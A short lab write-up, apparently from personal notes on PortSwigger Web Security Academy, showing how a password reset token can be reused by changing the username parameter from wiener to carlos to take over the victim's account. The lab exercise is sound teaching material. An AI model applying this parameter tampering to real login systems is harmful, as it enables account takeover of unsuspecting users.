> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/authentication/flawed-password-reset-logic.md).
# Flawed Logic in Password Reset
Flawed Logic in Password Reset notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Password Reset Broken Logic
The lab presents a vulnerability in the password reset mechanism. The objective is to reset the password for **Carlos** and then access its My account page. / Identifier provided:
* **wiener:peter**
* Victim name: **carlos**
### Analysis and Steps
#### 1. Forgot Password Function
The application offers a recovery feature via Forgot password.
From this section it is possible to change the email address associated with the account
#### 2. Receipt of Reset Email
Once the email is changed, a message containing a reset link is sent. / The email includes a temporary **token** in the URL:
```http
Sent: 2025-12-09 19:42:17 +0000
From: "No reply"
To: wiener@exploit-0a46000003d9c0a086ee072901710023.exploit-server.net
Subject: Account recovery
Hello!
Please follow the link below to reset your password.
https://0ae200710383c04f868b0866005e0000.web-security-academy.net/forgot-password?temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj
Thanks,
Support team
```
#### 3. Form Submission
By accessing this link, the application asks to enter a new password. / The parameters sent are similar to:
```bash
temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj
username=wiener
new-password-1=test
new-password-2=test
```
#### 4. Exploitation of Defective Logic
The server does not check **not** that the token actually matches the user mentioned in the query. / Simply replace the field **username=wiener** with **username=carlos**:
```bash
temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj
username=carlos
new-password-1=test
new-password-2=test
```
The application accepts the application, which allows to define a new password for Carlos.
---
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